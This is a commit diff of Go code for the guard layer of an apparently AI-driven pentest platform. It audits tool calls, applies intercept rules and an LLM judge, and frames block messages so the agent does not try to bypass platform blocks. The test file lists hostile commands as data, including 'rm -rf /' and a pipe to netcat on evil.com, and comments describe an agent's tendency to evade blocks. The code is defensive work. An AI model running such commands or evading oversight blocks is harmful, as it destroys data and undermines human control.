First Commit
ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
detections / detections (push) Waiting to run
web / web (push) Waiting to run
docs / links (push) Canceled after 0s
ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
detections / detections (push) Waiting to run
web / web (push) Waiting to run
docs / links (push) Canceled after 0s
This commit is contained in:
+206
@@ -0,0 +1,206 @@
|
||||
// Package guard implements the safety boundary layer (docs §11): an audit log,
|
||||
// user-configured intercept-rule evaluation, and Observer/G5 failure attribution.
|
||||
// Every tool call passes through the PreToolUse hook before executing.
|
||||
// (The RoE authorization-scope mechanism was removed; a replacement may be added
|
||||
// later.) Destructive/exfil gating is no longer hard-coded here — it lives in the
|
||||
// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or
|
||||
// delete them), evaluated via applyIntercept.
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
)
|
||||
|
||||
// AuditEntry records one gated tool call.
|
||||
type AuditEntry struct {
|
||||
TS int64 `json:"ts"`
|
||||
Tool string `json:"tool"`
|
||||
Action string `json:"action"` // allow|block
|
||||
Reason string `json:"reason,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
// Guard enforces the side-effect policy via agent-core hooks.
|
||||
type Guard struct {
|
||||
mu sync.Mutex
|
||||
audit []AuditEntry
|
||||
attrib map[string]int // failure attribution counts (Observer / G5)
|
||||
reg *hook.Registry
|
||||
interceptor *intercept.Interceptor // optional; nil disables user-configured rules
|
||||
}
|
||||
|
||||
// New creates a Guard without user-configured intercept rules (used for pentest
|
||||
// tasks where the Interceptor is not yet available).
|
||||
func New() *Guard { return newGuard(nil) }
|
||||
|
||||
// NewWithInterceptor creates a Guard with user-configured intercept rules.
|
||||
func NewWithInterceptor(ic *intercept.Interceptor) *Guard { return newGuard(ic) }
|
||||
|
||||
func newGuard(ic *intercept.Interceptor) *Guard {
|
||||
g := &Guard{attrib: map[string]int{}, interceptor: ic}
|
||||
g.reg = hook.NewRegistry().
|
||||
On(hook.PreToolUse, g.preToolUse).
|
||||
On(hook.PostToolUse, g.postToolUse)
|
||||
return g
|
||||
}
|
||||
|
||||
// Hooks returns the hook registry to attach to an agent session.
|
||||
func (g *Guard) Hooks() *hook.Registry { return g.reg }
|
||||
|
||||
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
// Extract the shell-command surface for the audit log: Bash + the interactive-shell
|
||||
// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
|
||||
// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
|
||||
// applyIntercept below. Other tools record an empty command.
|
||||
var cmd string
|
||||
switch ev.ToolName {
|
||||
case "Bash", "shell_open":
|
||||
var in struct {
|
||||
Command string `json:"command"`
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Command
|
||||
case "shell_send":
|
||||
var in struct {
|
||||
Text string `json:"text"`
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Text
|
||||
}
|
||||
g.record(ev.ToolName, "allow", "", cmd)
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
// applyIntercept evaluates user-configured intercept rules against the tool call.
|
||||
// Both rules and the fallback judge receive the complete tool input.
|
||||
func (g *Guard) applyIntercept(ctx context.Context, ev hook.Event) hook.Result {
|
||||
if g.interceptor == nil {
|
||||
return hook.Result{}
|
||||
}
|
||||
if !g.interceptor.IsToolEnabled(ev.ToolName) {
|
||||
return hook.Result{}
|
||||
}
|
||||
ctx = intercept.WithCall(ctx, ev.ToolName, ev.Input)
|
||||
dec, matched := g.interceptor.Match(ev.ToolName, ev.Input)
|
||||
if !matched {
|
||||
// No rule matched. Ask the LLM fallback judge (if enabled); when it is off
|
||||
// or unwired, keep current behavior and allow.
|
||||
d, judged := g.interceptor.Judge(ctx, ev.ToolName, ev.Input)
|
||||
if !judged {
|
||||
return hook.Result{}
|
||||
}
|
||||
dec = d
|
||||
}
|
||||
switch dec.Action {
|
||||
case "deny":
|
||||
// 观测:deny 命中不阻塞审批,直接记一条 denied(历史/任务拦截页可见)。
|
||||
g.interceptor.Log(ctx, intercept.ConvIDFromContext(ctx), dec, ev.ToolName, ev.Input, "denied")
|
||||
return g.block(ev.ToolName, systemBlockMessage(dec.Message), "")
|
||||
case "allow":
|
||||
// Record explicit rule and model approvals so review details remain auditable.
|
||||
g.interceptor.Log(ctx, intercept.ConvIDFromContext(ctx), dec, ev.ToolName, ev.Input, "allowed")
|
||||
return hook.Result{}
|
||||
case "ask":
|
||||
// F14 두뇌 보존 판단: 아래 두 차단 사유와 systemBlockMessage 프레이밍은 번역하지
|
||||
// 않고 중국어 원문을 유지한다. 이 문자열은 g.block → hook.Result.Message 로 에이전트
|
||||
// 에게 돌아가는 tool_result(펜테스트 에이전트가 차단을 표적 방어로 오인해 우회를
|
||||
// 시도하지 않도록 유도하는 의도적 조종 문구, BRIEF 段[A] 성능 보존 대상)이다. 더구나
|
||||
// ask 차단 경로는 deny 경로와 달리 Interceptor.Log 를 타지 않아, g.block → g.record 가
|
||||
// 같은 프레이밍 전문을 감사 로그(GET /api/audit → entries[].reason)에도 그대로 싣는다.
|
||||
// 즉 하나의 문자열이 에이전트 입력과 표시를 겸한다(F16 동형). 표시만 한국어로 떼어내려면
|
||||
// g.block 이 두 문자열을 나르도록 구조를 바꿔야 하는데 고위험·저가치라 보류한다.
|
||||
//
|
||||
// If the worker context is already cancelled (task stopped / killed), block
|
||||
// immediately without creating a pending record — avoids orphaned DB entries
|
||||
// and makes execOne complete fast, reducing the race against drainSynthetic.
|
||||
if ctx.Err() != nil {
|
||||
return g.block(ev.ToolName, systemBlockMessage("工作已取消,平台安全管控阻止执行"), "")
|
||||
}
|
||||
convID := intercept.ConvIDFromContext(ctx)
|
||||
if !g.interceptor.HandleAsk(ctx, convID, dec, ev.ToolName, ev.Input) {
|
||||
return g.block(ev.ToolName, systemBlockMessage("人工审批未通过(用户拒绝或审批超时)"), "")
|
||||
}
|
||||
return hook.Result{}
|
||||
}
|
||||
return hook.Result{}
|
||||
}
|
||||
|
||||
// systemBlockMessage frames an intercept block as an ARTEX platform-governance
|
||||
// decision so the agent does not mistake it for a target-side defense.
|
||||
//
|
||||
// The bare reasons ("禁止执行此工具" / "用户拒绝") read exactly like a WAF/403 on
|
||||
// the target, so a pentest agent's instinct is to bypass them — rewrite the
|
||||
// command, swap the payload, re-encode, retry. That is both futile (the platform
|
||||
// blocks the class of action, not one string) and wrong (it's a policy decision,
|
||||
// not an obstacle to defeat). This prefix states plainly that the block comes
|
||||
// from the platform, is not the target's protection, and that the operation is
|
||||
// forbidden — so the agent pivots to another approach instead of evading it.
|
||||
// Audit/history rows keep the raw reason (see Interceptor.Log); only the
|
||||
// model-facing tool_result carries this framing.
|
||||
func systemBlockMessage(reason string) string {
|
||||
return "【ARTEX 平台管控·非目标防御】此调用被平台拦截。" +
|
||||
"原因:" + reason + "。此操作被禁止。"
|
||||
}
|
||||
|
||||
var reBlocked = regexp.MustCompile(`(?i)\b(403|forbidden|waf|blocked|rate.?limit|429|captcha|denied)\b`)
|
||||
|
||||
// postToolUse is the Observer failure-attribution hook (G5): it classifies tool
|
||||
// results into blocked / error / ok so the planner can change strategy instead
|
||||
// of giving up at a WAF.
|
||||
func (g *Guard) postToolUse(_ context.Context, ev hook.Event) hook.Result {
|
||||
if ev.ToolName != "Bash" {
|
||||
return hook.Result{}
|
||||
}
|
||||
class := "ok"
|
||||
switch {
|
||||
case reBlocked.Match(ev.Result):
|
||||
class = "blocked"
|
||||
case ev.IsError:
|
||||
class = "error"
|
||||
}
|
||||
g.mu.Lock()
|
||||
g.attrib[class]++
|
||||
g.mu.Unlock()
|
||||
return hook.Result{}
|
||||
}
|
||||
|
||||
// Attributions returns failure-attribution counts (Observer / G5).
|
||||
func (g *Guard) Attributions() map[string]int {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
out := make(map[string]int, len(g.attrib))
|
||||
for k, v := range g.attrib {
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (g *Guard) block(tool, reason, cmd string) hook.Result {
|
||||
g.record(tool, "block", reason, cmd)
|
||||
return hook.Result{Decision: "block", Message: reason}
|
||||
}
|
||||
|
||||
func (g *Guard) record(tool, action, reason, cmd string) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
g.audit = append(g.audit, AuditEntry{TS: time.Now().Unix(), Tool: tool, Action: action, Reason: reason, Command: cmd})
|
||||
if len(g.audit) > 2000 {
|
||||
g.audit = g.audit[len(g.audit)-2000:]
|
||||
}
|
||||
}
|
||||
|
||||
// Audit returns a snapshot of recent gated calls (most recent last).
|
||||
func (g *Guard) Audit() []AuditEntry {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
out := make([]AuditEntry, len(g.audit))
|
||||
copy(out, g.audit)
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
)
|
||||
|
||||
// A guard with no interceptor no longer hard-blocks anything: destructive/exfil
|
||||
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
|
||||
// PreToolUse must pass every command through and still record it to the audit log.
|
||||
func TestPreToolUsePassthrough(t *testing.T) {
|
||||
g := New()
|
||||
|
||||
block := func(cmd string) bool {
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b
|
||||
}
|
||||
|
||||
for _, cmd := range []string{
|
||||
`curl https://acme.com/`,
|
||||
`rm -rf /`,
|
||||
`curl http://a|nc evil.com 4444`,
|
||||
`ls -la`,
|
||||
} {
|
||||
if block(cmd) {
|
||||
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
|
||||
}
|
||||
}
|
||||
// audit still records every gated call
|
||||
if len(g.Audit()) == 0 {
|
||||
t.Error("audit should record gated calls")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSystemBlockMessagePreservedIsBrainInput pins the platform-governance framing
|
||||
// (systemBlockMessage) to its original Chinese bytes. That framing is the model-facing
|
||||
// tool_result that steers the pentest agent away from bypassing an intercept block
|
||||
// (see guard.go doc comment + the F14 보존 판단). For the ask-block paths the same
|
||||
// framed string also lands in the /api/audit record via g.record, so one string serves
|
||||
// both the agent input and the audit display — it must NOT be translated, or benchmarked
|
||||
// agent behavior could drift. This test fails if the framing is accidentally localized.
|
||||
func TestSystemBlockMessagePreservedIsBrainInput(t *testing.T) {
|
||||
got := systemBlockMessage("<原因>")
|
||||
want := "【ARTEX 平台管控·非目标防御】此调用被平台拦截。原因:<原因>。此操作被禁止。"
|
||||
if got != want {
|
||||
t.Errorf("systemBlockMessage framing drifted (F14 두뇌 보존 — 원문 유지해야 함):\n got %q\nwant %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
var _ = hook.PreToolUse
|
||||
Reference in New Issue
Block a user